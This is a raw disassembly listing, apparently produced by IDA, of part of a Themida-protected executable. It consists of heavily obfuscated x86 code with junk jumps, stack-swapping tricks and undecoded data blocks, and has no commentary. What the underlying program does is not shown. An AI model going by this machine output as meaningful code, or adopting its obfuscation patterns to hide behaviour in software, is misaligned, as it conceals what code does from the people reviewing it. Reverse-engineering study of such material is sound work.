5648FFFFh, 405793BEh, 0A1C68114h, 0E90AFE12h dd 0FFFFDD10h, 240C895Ch, 83E9AEB1h, 52FFFF5Ch, 8B2D12BAh dd 69F28120h, 815D1D3Dh, 516BDDC2h, 7101E94Ah, 1489FFFFh dd 7267BA24h, 0C2816DCEh, 0D171A743h, 0FF541FE9h, 4C681FFh dd 81000000h, 4C6h, 24348700h, 0DBB9E95Ch, 8B66FFFFh db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax mov eax, 4 add ebp, eax jmp loc_5410F0 ; --------------------------------------------------------------------------- dw 0BA52h dd 306A15D6h, 0FFC6D0E9h db 0FFh ; --------------------------------------------------------------------------- loc_541751: ; CODE XREF: Themida_:0053CA67j mov edx, [esp] jmp loc_53E8F5 ; --------------------------------------------------------------------------- loc_541759: ; CODE XREF: Themida_:0053A870j add ebp, 28D284B4h sub eax, 261F6A62h add eax, ebp add eax, 261F6A62h pop ebp jmp loc_536B32 ; --------------------------------------------------------------------------- db 5Ah, 2Ch, 0AFh dd 0FF625EE9h, 24048FFFh, 8966645Ch, 433BE902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_541786: ; CODE XREF: Themida_:00536862j xor [esp], edi xor edi, [esp] jmp loc_53622C ; --------------------------------------------------------------------------- loc_541791: ; CODE XREF: Themida_:00538FCFj push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp inc ecx not ecx sub ecx, 0CE7F6C36h and eax, ecx mov ecx, [esp] add esp, 4 jmp loc_537D1A ; --------------------------------------------------------------------------- dw 0BB53h dd 39A47C10h, 8334E953h, 0D1F7FFFFh, 5C55B850h, 0C131327Ah dd 0E924048Bh, 0A15h ; --------------------------------------------------------------------------- loc_5417D8: ; CODE XREF: Themida_:0054071Aj xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] test ecx, eax pushf jmp loc_535AC1 ; --------------------------------------------------------------------------- dd 0E924148Bh, 0FFFF5B6Ah, 0CE9DFF6h, 81000004h, 602C84EAh dd 0C852E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_541806: ; CODE XREF: Themida_:00539289j add esp, 4 and eax, ebx jmp loc_5400B2 ; --------------------------------------------------------------------------- dd 58FB866h, 3E8C166h, 7F8F0566h, 2BE95066h, 0F7FFFF97h dd 2D582414h, 8CF75320h, 0E958C689h, 0FFFF44FDh, 4BA52h dd 0C1810000h, 440B4D7Fh, 0AFE9D101h, 66FFFFC6h, 0A8E99C51h dd 0FFFFFF8Ch, 48B2434h, 4C48324h, 0FF7C45E9h, 24248BFFh dd 89241489h, 4BB53E2h, 1000000h, 9A00E9DAh, 0F681FFFFh dd 71DB0E7Ch, 1C7B951h, 0C181175Ch, 0FFFFFFFFh, 1440C981h dd 0D1F7244Ch, 7E2EE981h, 0D9F75ABFh, 92F8F181h, 43E963FFh dd 89FFFFC6h, 0C0B82404h, 2D544863h, 0EC2500Fh, 3A147C05h dd 0D17AE952h, 0BD55FFFFh, 7228079Bh, 0ED81EDD1h, 19134CC3h dd 56C8BB53h, 0E7E92068h, 0BAFFFF9Ch, 63863B59h, 8104EAC1h dd 0A61C38EAh, 55EA814Eh, 3185D207h, 0C6815AD6h, 6BCCC50Eh dd 815EF189h, 0C252A3E9h, 89E98174h, 0E949151Ch, 0FFFFCD2Fh ; --------------------------------------------------------------------------- loc_541900: ; CODE XREF: Themida_:0054200Aj mov edi, esp add edi, 4 push esi push ecx push 523B6858h pop ecx dec ecx not ecx xor ecx, 0ADC497ACh jmp loc_535BEE ; --------------------------------------------------------------------------- dw 74FFh dd 8F580424h, 248B2404h, 8041E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54192E: ; CODE XREF: Themida_:005393B1j push 3F4Ch mov [esp], esp jmp loc_541DB1 ; --------------------------------------------------------------------------- db 5Ch dd 4C481h, 9EE90000h db 0B3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx jmp loc_541F6B ; --------------------------------------------------------------------------- dd 0E924048Fh, 0FFFFB2C8h ; --------------------------------------------------------------------------- loc_541958: ; CODE XREF: Themida_:0053BD62j pop esp mov [esp], eax jmp loc_540030 ; --------------------------------------------------------------------------- db 66h, 0F7h, 0E1h dd 793868h, 0B104E900h, 348BFFFFh, 4C48124h, 0E9000000h dd 0FFFF49CAh, 6D1ED81h, 0EA2972CAh, 600DE95Dh, 0BA52FFFFh dd 2, 148BD501h, 0E7895724h, 4C781h, 50530000h, 0F777E6B8h dd 0B6ACE93Ah, 74FFFFFFh, 8F5D0424h, 248B2404h, 53F9F724h dd 0C381E389h, 4, 4EB81h, 1C870000h, 0F948E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5419CE: ; CODE XREF: Themida_:00536E01j pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp xor esi, [esp] jmp loc_539DA0 ; --------------------------------------------------------------------------- loc_5419E4: ; CODE XREF: Themida_:00538506j and eax, ebp mov ebp, [esp] push 636Ah jmp loc_53705F ; --------------------------------------------------------------------------- db 29h dd 0BDC381C3h, 0E977B83Ah, 0FFFFACD2h, 2C381h, 1C330000h dd 241C3124h, 5C241C33h, 0E99CC138h, 0FFFF6E39h, 0C383595Eh dd 241C8702h, 2404305Ch, 4097E99Ch, 0EAC1FFFFh, 0EA814208h dd 93867071h, 55AD029h, 0DA0527Bh, 324ED405h, 0D5E95A35h dd 88FFFF42h, 24148BD3h, 5804C483h, 0FFE3B4E9h, 5CBD55FFh dd 815FD35Dh, 1A5201C5h, 6846h, 2C290000h, 6A76E924h, 0EB81FFFFh dd 4, 0E9241C87h, 0FFFFC70Bh ; --------------------------------------------------------------------------- loc_541A7C: ; CODE XREF: Themida_:005400B8j add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp or edx, eax shl edx, 1 push eax jmp loc_535F8C ; --------------------------------------------------------------------------- dd 324ED42Dh, 7BBA5235h, 290DA052h, 87055AD0h, 2D6D787Eh dd 4DB53471h, 0EC81D029h, 4, 0E9241489h, 0FFFF8DE2h, 0CA6FC6B8h dd 5A9B2D58h, 292D20C0h, 1380A15h, 3C8758C7h, 24248B24h dd 9CE9E1F6h, 83FFFFBDh, 148904ECh, 14EBBA24h, 0D1891219h dd 244C295Ah, 2434FF04h, 0D156E959h, 1704FFFFh, 0FFB9FAE9h db 0FFh ; --------------------------------------------------------------------------- loc_541B05: ; CODE XREF: Themida_:00538D27j add ebp, 4AB54D89h add ebp, 0B8978154h add edi, ebp pop ebp shl edi, 1 push 3A0Bh mov [esp], eax mov eax, 0F7E53B40h jmp loc_53E7F1 ; --------------------------------------------------------------------------- loc_541B28: ; CODE XREF: Themida_:0053C8DFj push esp pop edx push ebp mov ebp, 4 add edx, ebp jmp loc_53DD0E ; --------------------------------------------------------------------------- db 68h dd 6C31h, 0E9242489h, 0FFFF845Ah ; --------------------------------------------------------------------------- loc_541B44: ; CODE XREF: Themida_:0053B9A3j pop ebp add esp, 4 or edx, eax shl edx, 1 push eax sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_540BDE ; --------------------------------------------------------------------------- dd 819AE947h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_541B72: ; CODE XREF: Themida_:0053731Dj push 27E3h jmp loc_540B7F ; --------------------------------------------------------------------------- dd 50243489h, 0A57B34B8h, 4E0C140h, 0A5745335h, 3E8C115h dd 3DA968h, 24048900h, 0FFFC86E9h, 241489FFh, 687568h dd 24348900h, 0FF97DBE9h db 0FFh ; --------------------------------------------------------------------------- loc_541BAD: ; CODE XREF: Themida_:005403CCj mov ebp, 0FEC28F1h sub ebp, 4C7D5512h jmp loc_53DC6C ; --------------------------------------------------------------------------- db 0BEh, 8Ah, 58h dd 4CE93FAFh, 83000003h, 0D9E904C4h, 5EFFFFE2h, 54E9F831h dd 0B2000001h, 5AD4080Ah, 54E9D4F6h, 0FFFFF74h, 0E8C5E9C8h dd 5066FFFFh, 3ECFE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_541BF2: ; CODE XREF: Themida_:00539677j mov edi, 0FD76A59h add edi, 3E3773CDh add ebx, edi pop edi xor esi, ebx jmp loc_53BFD2 ; --------------------------------------------------------------------------- db 50h dd 0C090B353h, 0C38006E3h, 5BD8884Ah, 0FF7E9AE9h, 0C5815CFFh dd 4, 8704C583h, 248B242Ch, 0FD19E924h, 1489FFFFh, 4EC8124h dd 89000000h, 4812424h, 424h, 0C2815A00h, 4, 0FF46B9E9h db 0FFh ; --------------------------------------------------------------------------- loc_541C4D: ; CODE XREF: Themida_:0053DED4j add edi, 4 xchg edi, [esp] pop esp pop dword ptr [esp] jmp loc_539F34 ; --------------------------------------------------------------------------- loc_541C5F: ; CODE XREF: Themida_:0053F279j mov eax, 5EF846E8h jmp loc_53BD9C ; --------------------------------------------------------------------------- db 0B9h, 99h, 67h dd 0C1833756h, 0E1814101h, 2BCA643Fh, 5BD6E981h, 6FE9E96Ch db 0B6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_541C83: ; CODE XREF: Themida_:0053D43Aj mov edx, 403D4CFEh jmp loc_53CD10 ; --------------------------------------------------------------------------- db 81h, 0C1h, 0B1h dd 813B6052h, 0CC05C3C7h, 0BD6FE948h, 481FFFFh, 424h, 9854E900h dd 0E952FFFFh, 0FFFF5107h ; --------------------------------------------------------------------------- loc_541CB0: ; CODE XREF: Themida_:00540BA9j shr edi, 1 shl edi, 8 add edi, 67F55C00h push edi push ebp mov ebp, 285D46E1h jmp loc_540A0A ; --------------------------------------------------------------------------- db 81h dd 5F3564C5h, 2C875E24h, 585AE924h, 0E589FFFFh, 383CBA52h dd 0E2C139D8h, 8E2C105h, 4B91EA81h, 87E945AFh, 81000005h dd 4E9h, 879BE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_541CFA: ; CODE XREF: Themida_:0053E8B7j add esp, 4 or eax, eax jz loc_53AC0B push 19BDh jmp loc_536E1B ; --------------------------------------------------------------------------- db 5Ch dd 0E904C483h, 0FFFF3DA9h, 4C381h, 0C3830000h, 5AAA6802h dd 5DE90000h, 5FFFFFBCh, 9109E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_541D32: ; CODE XREF: Themida_:0053B198j pop ebx add esp, 4 push edi push eax push 4CB365FEh pop eax inc eax not eax jmp loc_53B3FA ; --------------------------------------------------------------------------- dw 0C87h dd 14875C24h, 24248B24h, 0B8240489h, 1, 0FF1C4709h, 79E92434h db 0C9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_541D63: ; CODE XREF: Themida_:0053AEFEj sub edi, ecx sub esp, 4 mov [esp], esi mov esi, 2153319Ah sub edi, esi pop esi pop ecx push edx mov edx, 20D8097Bh shl edx, 6 push ecx mov ecx, 4FA463E3h sub ecx, 6F3D1D01h jmp loc_53A9B9 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 405E089h, 83000000h, 0FF5002C0h, 58042474h, 5C24048Fh dd 24048F66h, 0FF66B5E9h db 0FFh ; --------------------------------------------------------------------------- loc_541DB1: ; CODE XREF: Themida_:00541936j push ecx mov ecx, 4 add [esp+4], ecx pop ecx pop eax add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] sub esp, 4 jmp loc_53FB3E ; --------------------------------------------------------------------------- dw 48Fh dd 24248B24h, 24043166h, 3CD3E99Ch, 5401FFFFh, 0E95A0424h dd 0FFFF3CC9h, 405h, 0A9E95600h, 2DFFFFDAh, 18B64193h dd 1EE0BA52h, 0D031148Ch, 0D61355Ah, 0C6896146h, 0FFF32958h dd 0ABE92434h db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_541E23: ; CODE XREF: Themida_:0054066Ej add eax, ecx jmp loc_538A36 ; --------------------------------------------------------------------------- dw 5748h dd 6F3DFABFh, 5FF8317Fh, 0FF6F44E9h, 241C87FFh, 77BB535Ch dd 4322562Dh, 0E906EBC1h, 0FFFF431Fh, 66CE0966h, 0F6816659h dd 8166443Fh, 66258BE6h, 8166D6F7h, 669CC6C6h, 6621192Dh dd 566F001h, 1FE92119h, 0FFFFFF81h, 3C47E932h, 0D5BFFFFFh dd 0BE01F42Ah, 0FE0BD52Dh, 3C8BFE01h, 4C48324h, 348BF501h dd 4C48324h, 31242C33h, 2C33242Ch, 4FE5C24h, 1AE99C24h dd 5DFFFF3Ch, 5484F681h, 0F3010045h, 0FF546DE9h db 0FFh ; --------------------------------------------------------------------------- loc_541EB5: ; CODE XREF: Themida_:00538226j push 1748h mov [esp], eax jmp loc_53EAD9 ; --------------------------------------------------------------------------- dw 0D143h dd 0EB8143E3h, 696169FFh, 15BDE01h, 6EEE81CEh, 595D5579h dd 404CBD55h, 0EC835A9Ah, 24348904h, 6D3C8CBEh, 0A1E6810Dh dd 81094B40h, 2CBF36F6h, 5EF501ACh, 0E95DEE01h, 0FFFF4CC0h dd 2958C329h, 0A1C381C3h, 8B69F536h, 2DE92404h, 46FFFF90h dd 2414F756h, 0FF7863E9h, 5C801FFh, 24B31AF9h, 592434FFh dd 4C481h, 68570000h, 6A2E00B7h, 0FFFB015Fh, 0E95F2434h dd 0FFFFA81Eh, 1C8B6659h, 0E3895324h, 4C381h, 0C3810000h dd 2, 5C241C87h, 8055EB80h, 0EB80E2C3h, 80C300C0h, 57E9C0C3h db 0C9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_541F6B: ; CODE XREF: Themida_:0054194Bj mov edx, 4 add ebp, edx pop edx sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_53B88B ; --------------------------------------------------------------------------- db 89h dd 4C581E5h, 83000000h, 0ABE904C5h db 0AEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_541F8F: ; CODE XREF: Themida_:0053AC43j mov esp, [esp] mov [esp], ecx mov ecx, 651829DCh jmp loc_53A114 ; --------------------------------------------------------------------------- db 50h dd 0FF9DE8E9h db 0FFh ; --------------------------------------------------------------------------- loc_541FA5: ; CODE XREF: Themida_:0053E4ACj add esp, 4 push 723Dh mov [esp], edi push ebp mov ebp, 46A05F3h jmp loc_53B727 ; --------------------------------------------------------------------------- db 5Bh dd 0FF6EB0E9h, 58C589FFh, 0D91C581h, 0D5F73C21h, 665FE957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_541FD2: ; CODE XREF: Themida_:005365A9j pop ecx jmp loc_53BE71 ; --------------------------------------------------------------------------- dd 31243C33h, 3C33243Ch, 24248B24h, 8B2434FFh, 0C4832404h dd 4EC8304h, 0FF7375E9h db 0FFh ; --------------------------------------------------------------------------- loc_541FF5: ; CODE XREF: Themida_:0053E244j sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] mov [esp], edi jmp loc_541900 ; --------------------------------------------------------------------------- db 57h dd 66195EBFh, 81E7D16Ah, 0CC32B8EFh, 0E9FD01D4h, 0FFFFB9B3h dd 240C8B66h, 369868h, 241C8900h, 0FF54C1E9h, 5F7CB8FFh dd 0D0F71470h, 0FFA43DE9h db 0FFh ; --------------------------------------------------------------------------- loc_542041: ; CODE XREF: Themida_:0053B225j push eax mov eax, 53322770h mov ecx, 0B36924E0h add ecx, eax mov eax, [esp] add esp, 4 jmp loc_53CC79 ; --------------------------------------------------------------------------- loc_54205C: ; CODE XREF: Themida_:00535C46j pop esp push ecx mov cl, 39h dec cl neg cl xor cl, 4Ch xor dh, cl jmp loc_538206 ; --------------------------------------------------------------------------- dw 8B66h dd 87E92404h, 66FFFF99h, 6824048Bh, 802h, 54243489h, 5E2434FFh dd 5E08950h, 4, 405h, 24048700h, 0FFD754E9h, 4C681FFh dd 81000000h, 4C6h, 24348700h, 0E924248Bh, 0FFFFCC1Ah dd 0FF3A08E9h, 5F829FFh, 7C9817CAh, 70E7B951h, 0C2E94161h db 0A2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5420CB: ; CODE XREF: Themida_:00540391j sub edx, 787B65F0h sub edx, 0F2B405B3h sub eax, edx pop edx mov ecx, eax pop eax xor ecx, ebx mov ebx, [esp] jmp loc_53991F ; --------------------------------------------------------------------------- a_hfi db '_häi',0 dd 241C8900h, 0FF4ABFE9h, 0B65266FFh, 66F728FFh, 0DF7805Ah dd 76E9F828h db 0BEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_542107: ; CODE XREF: Themida_:00535C2Bj inc eax jmp loc_540B2C ; --------------------------------------------------------------------------- db 81h, 0C2h, 45h dd 81436856h, 0E30874F2h, 0FFC28312h, 2655F281h, 0DAF778F7h dd 0F3D0C281h, 0D009670Dh, 7EAE355Ah, 68E92BFDh, 0FFFFFFFEh dd 58042474h, 5C24048Fh, 397BE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_542146: ; CODE XREF: Themida_:0053C8EBj push eax mov eax, 81A4760h push esi mov esi, 16211D4h not esi jmp loc_53D349 ; --------------------------------------------------------------------------- loc_542159: ; CODE XREF: Themida_:005363B4j sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edi mov edi, 73F6770Ah neg edi shl edi, 8 xor edi, 988F604h add edx, 789A0C84h add edx, 1EAF34C7h add edx, edi sub edx, 1EAF34C7h sub edx, 789A0C84h mov edi, [esp] add esp, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] push 3FEh jmp loc_5406AF ; --------------------------------------------------------------------------- dw 0CA01h dd 2BB5359h, 57000000h, 9A6492BFh, 0E9FA0111h, 0FFFFF3B7h dd 6857515Eh, 59E46EF3h, 0FFBD9CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5421D5: ; CODE XREF: Themida_:00539081j add ebx, 2 xchg ebx, [esp] pop esp btc [esp], ax pushf jmp loc_535AC1 ; --------------------------------------------------------------------------- db 0ADh dd 0FF65C0E9h, 4C483FFh, 23E1C181h, 0D7E90AFDh db 78h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5421FB: ; CODE XREF: Themida_:00538483j add ebx, 4 jmp loc_53C578 ; --------------------------------------------------------------------------- loc_542206: ; CODE XREF: Themida_:0053D66Fj sub bl, 0D3h sub bl, ch add bl, 0D3h pop cx movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- dw 0C361h dd 81240C8Bh, 4ECh, 24048900h, 7D68E089h, 0E900007Ch, 0FFFFF94Ch ; --------------------------------------------------------------------------- loc_542230: ; CODE XREF: Themida_:0053B29Fj mov edi, ebp pop ebp xor edx, edi pop edi not edx jmp loc_53D42B ; --------------------------------------------------------------------------- loc_54223D: ; CODE XREF: Themida_:0053B73Dj pop ebp push esi mov esi, esp push ebx mov ebx, 52EE3F62h xor ebx, 51AF256Ch xor ebx, 3411A0Ah add esi, ebx pop ebx add esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp push edi add dword ptr [esp], 41E86D00h mov eax, [esp] jmp loc_53DC4A ; --------------------------------------------------------------------------- dw 0E2D1h dd 4EC8157h, 89000000h, 9EBE2434h, 575A0A18h, 0A119E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54228E: ; CODE XREF: Themida_:005388F5j push ebp xchg esi, [esp] not esi xor [esp], esi xor esi, [esp] xor [esp], esi pop ebp jmp loc_5382F7 ; --------------------------------------------------------------------------- loc_5422A3: ; CODE XREF: Themida_:005406D0j mov ebp, eax jmp loc_5377A3 ; --------------------------------------------------------------------------- dw 17B6h dd 0FFCAF2E9h, 3DC181FFh, 1EF1927h, 0FF5059C8h, 58042474h dd 0FF445EE9h, 4EC81FFh, 89000000h, 6BE9243Ch, 51FFFF53h dd 97E919B5h db 0C2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5422DB: ; CODE XREF: Themida_:005410F9j xchg ebp, [esp] pop esp mov [esp], edx mov edx, esp jmp loc_53CDB0 ; --------------------------------------------------------------------------- dd offset dword_49005C+29F0Ch align 2 dw 489h dd 48B5424h, 4C48124h, 5000000h, 4, 42Dh, 24048700h, 2424895Ch dd 4EC81h, 2C890000h, 4BD24h, 0DBE90000h, 81FFFFD1h, 42404h dd 5580000h, 4, 405h, 24048700h, 7179055Ch, 0FF661CB3h dd 377FE930h, 3135FFFFh, 35114B00h, 25546B77h, 0FF4183E9h dd 1C335CFFh, 241C3124h, 5C241C33h, 24048B66h, 4EC81h dd 1C890000h, 0A010E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54236E: ; CODE XREF: Themida_:0053AA32j push dword ptr [esp] push dword ptr [esp] jmp loc_53805B ; --------------------------------------------------------------------------- loc_542379: ; CODE XREF: Themida_:0053CB98j mov ebx, esp add ebx, 4 jmp loc_53A77F ; --------------------------------------------------------------------------- dw 0F66h dd 5166C8AFh, 372FE99Ch, 34FFFFFFh, 0C4835924h, 4EC8104h dd 89000000h, 0E8682404h, 5400005Fh, 8124048Fh, 42404h dd 0CEE90000h db 5Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5423B7: ; CODE XREF: Themida_:00536018j pop esp add ebp, 0CD0CE1C1h jmp loc_53E8B1 ; --------------------------------------------------------------------------- loc_5423C3: ; CODE XREF: Themida_:005388D1j sub ebx, 2F393A01h sub ebx, 5C87B74h pop ebp push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] movzx ax, byte ptr [eax] jmp loc_53D41E ; --------------------------------------------------------------------------- align 4 dd 59371000h, 0 dd 59420000h, 33DCF800h, 5823A2FAh, 1308EB00h, 217E7h dd 200h, 2 dup(100h), 33DCF800h, 0FAh, 4 dup(0) dd 5449EF00h, 54D67F00h, 55514000h, 55709600h, 54A76F00h dd 547A0B00h, 55237C00h, 543CCF00h, 54501500h, 5549FD00h dd 55614500h, 54340F00h, 54B97100h, 55656D00h, 554E7400h dd 548F0100h, 54AE5800h, 54740200h, 5481E100h, 54603200h dd 54A92400h, 5522CE00h, 55468300h, 5507D600h, 5535EA00h dd 553F5300h, 544A7100h, 552AB700h, 54F80000h, 55723300h dd 54E6F700h, 54A80000h, 5458C100h, 5478C800h, 55152C00h dd 543C1600h, 5562F200h, 55390200h, 55673A00h, 557AC100h dd 556EBC00h, 542EEC00h, 5519E800h, 55640B00h, 54C87300h dd 54F21A00h, 552A9000h, 556A8700h, 5554BF00h, 5454F300h dd 54B2B600h, 55247B00h, 54F74100h, 54D6B400h, 5456F500h dd 546D1500h, 542CA200h, 54F53D00h, 551CFB00h, 55748E00h dd 55077C00h, 54B30400h, 54685E00h, 54A3BD00h, 54B15E00h dd 55743900h, 5552D300h, 54C47100h, 54AA8800h, 54F28800h dd 55590A00h, 54F61B00h, 55358600h, 552C8C00h, 55287000h dd 54EACB00h, 550B8900h, 54319000h, 550AC300h, 544BC700h dd 555A1000h, 545FC600h, 5506AB00h, 55244C00h, 546BB800h dd 5494CB00h, 54CA3100h, 54EBFD00h, 55754300h, 5526E400h dd 54FBC800h, 54F93200h, 547DB600h, 55015A00h, 547EEE00h dd 54D5AB00h, 557A5200h, 548DC500h, 54B20E00h, 54529700h dd 54497100h, 542DE600h, 55208B00h, 5568DF00h, 55586700h dd 54D1EF00h, 55239100h, 54500400h, 54B94500h, 55108700h dd 54982000h, 54A70400h, 549CF100h, 54402C00h, 54F57B00h dd 55070F00h, 5536A800h, 543B0400h, 5507B400h, 5545CB00h dd 545E4A00h, 549A7200h, 54FC8B00h, 55613C00h, 5575D600h dd 54B35800h, 549C1B00h, 550DAA00h, 55105700h, 552DE400h dd 54484200h, 551DA700h, 54AFB600h, 542EBB00h, 554C1D00h dd 54796A00h, 554A2300h, 5428AD00h, 54BF8E00h, 550BC800h dd 5532A200h, 54400D00h, 5477AF00h, 55674D00h, 552FFE00h dd 5508AB00h, 54F63A00h, 54FF7400h, 553DD300h, 54BD6600h dd 55686900h, 54CDD500h, 5565C600h, 54839B00h, 54871500h dd 54587600h, 555ED000h, 54661E00h, 54D87900h, 54DA5200h dd 5503AF00h, 552E2600h, 55708600h, 54D8EF00h, 54AE1200h dd 54C6D300h, 549A9B00h db 0 ; --------------------------------------------------------------------------- loc_5426C5: ; CODE XREF: Themida_:0058BC0Cj ; Themida_:0058F3D4j pusha pushf cld call $+5 pop edi sub edi, 62049D5h mov eax, edi add edi, 62046EDh cmp eax, [edi+2Ch] jnz short loc_5426E3 jmp short loc_5426F6 ; --------------------------------------------------------------------------- loc_5426E3: ; CODE XREF: Themida_:005426DFj mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_5426F2 ; --------------------------------------------------------------------------- loc_5426ED: ; CODE XREF: Themida_:005426F4j add [edi+ecx*4+40h], eax dec ecx loc_5426F2: ; CODE XREF: Themida_:005426EBj or ecx, ecx jnz short loc_5426ED loc_5426F6: ; CODE XREF: Themida_:005426E1j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_542703: ; CODE XREF: Themida_:0054270Aj xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_542703 loc_54270C: ; CODE XREF: Themida_:loc_5432B3j ; Themida_:00544119j ... lodsb add al, 42h add al, 0D7h add al, bl jmp loc_555D22 ; --------------------------------------------------------------------------- loc_542718: ; CODE XREF: Themida_:00545D0Ej push ebp mov ebp, 28AB3C99h neg ebp jmp loc_54BE6D ; --------------------------------------------------------------------------- loc_542725: ; CODE XREF: Themida_:00543C69j push ebx mov bl, 74h jmp loc_54E622 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 10A0E9h, 0C2815F00h, 253D0327h, 246C281h, 0FFE9317Fh dd 68000068h, 0B1Fh, 15208E9h, 44480500h, 0C8015962h, 6244482Dh dd 0CAF3E959h, 0E5680000h, 89000007h, 6AB5240Ch, 0CC25E9h dd 24048300h, 24048F04h, 4B850h, 0E4E90000h, 8100000Ch dd 0C36AE8E9h, 67C2E97Fh, 9F680000h, 89000067h, 14F7241Ch dd 15C9E924h, 0EC810001h, 4, 0E9240489h, 6743h, 148BD131h dd 4C48124h, 1000000h, 1C8759CBh, 89525C24h, 4C281E2h dd 83000000h, 148704EAh, 1445E924h, 0E8C10001h, 4FF5002h dd 0E0C15824h, 5E8C102h, 0F30DB635h, 58C72927h, 3F3AC781h dd 0DF011DFBh, 3F3AEF81h, 0C7811DFBh, 255D7609h, 68241C8Bh dd 235Fh, 54243489h, 5EBD555Eh, 8153EF72h, 108DA6C5h, 8BEE01ACh dd 0C483242Ch, 4C68304h, 8B243487h, 0ABE92424h, 8300004Bh dd 0BCE904C4h db 82h, 2 dup(0) ; --------------------------------------------------------------------------- loc_542833: ; CODE XREF: Themida_:005527BDj sub esp, 4 jmp loc_555F8B ; --------------------------------------------------------------------------- db 68h dd 0AD9F044Bh, 5DEE295Dh, 6DAD68h, 24348900h, 1BB068h dd 24148900h, 8324348Bh, 925A04C4h, 0ADC5E9h, 81FA2900h dd 39585DC2h, 243C8B6Fh, 4C481h, 79E90000h, 800000EBh dd 52E96FC3h, 510000E3h, 0AC2143B9h, 0D3C9813Fh, 8123014Ah dd 212E77E1h, 0E8E95030h db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_542897: ; CODE XREF: Themida_:00551E79j pop esp mov [esp], ecx push 38B8h mov [esp], edx mov edx, 55E54E94h jmp loc_553A4E ; --------------------------------------------------------------------------- db 66h, 0FFh, 32h dd 0FFFE57E9h db 0FFh ; --------------------------------------------------------------------------- loc_5428B5: ; CODE XREF: Themida_:005523D9j not edx jmp loc_54414C ; --------------------------------------------------------------------------- aUusSRsbo db '½Uué-',9,'è]Ré¡O',0 align 2 dw 0F729h dd 86F0E95Eh, 0C2810000h, 4, 0E9241487h, 3BB7h, 0E9545758h dd 269Fh, 4C481h, 96E90000h, 0BA0000D7h, 4, 34FFD029h dd 812AE924h, 0B4500000h, 0BB38E969h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54290A: ; CODE XREF: Themida_:00547A1Fj sub esp, 2 mov [esp], dx mov dh, al not dh mov al, dh pop dx add al, 27h jmp loc_55000A ; --------------------------------------------------------------------------- db 52h dd 0C281E289h, 4, 8704EA83h, 0AAE92414h db 0C4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_542937: ; CODE XREF: Themida_:00552C62j and edi, 73704823h not edi push ecx jmp loc_55533E ; --------------------------------------------------------------------------- db 5Eh, 0E9h, 0Ah dd 89000115h, 4B9240Ch, 29000000h, 76E959CAh, 870000E0h dd 9E92414h, 68000064h, 5CBB60CAh, 0EC83525Bh, 24348904h dd 13FDE9h, 0C7C78100h, 89D00D55h, 0EB895FFDh, 83242C8Bh dd 0D80104C4h, 1FEEE95Bh db 1, 0 ; --------------------------------------------------------------------------- loc_54298E: ; CODE XREF: Themida_:00543E5Cj jnz loc_54F0ED sub esp, 4 mov [esp], ecx push 247Bh mov [esp], ebx push 2C091BC3h mov ebx, [esp] jmp loc_55496E ; --------------------------------------------------------------------------- db 88h dd 241C8BFAh, 0FC2E9h, 4C48100h, 2D000000h, 70197191h dd 0E9243C8Bh, 51AFh, 0E581E5D1h, 90A60A8h, 0ED81D5F7h dd 261FC232h, 10F83E9h, 4EC8100h, 89000000h, 41BB241Ch dd 0E95EDB10h, 1CDBh, 2BFh, 8BFD2900h, 0C483243Ch, 242C3304h dd 33242C31h, 0E95C242Ch, 0AD8Dh ; --------------------------------------------------------------------------- loc_542A10: ; CODE XREF: Themida_:00552659j push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push edi push esp mov edi, [esp] add esp, 4 push edx push 52C87C1Ch pop edx jmp loc_54FEF4 ; --------------------------------------------------------------------------- db 5 dd 2EED0C80h, 802DF001h, 0FF2EED0Ch, 348B2434h, 4C48124h dd 81000000h, 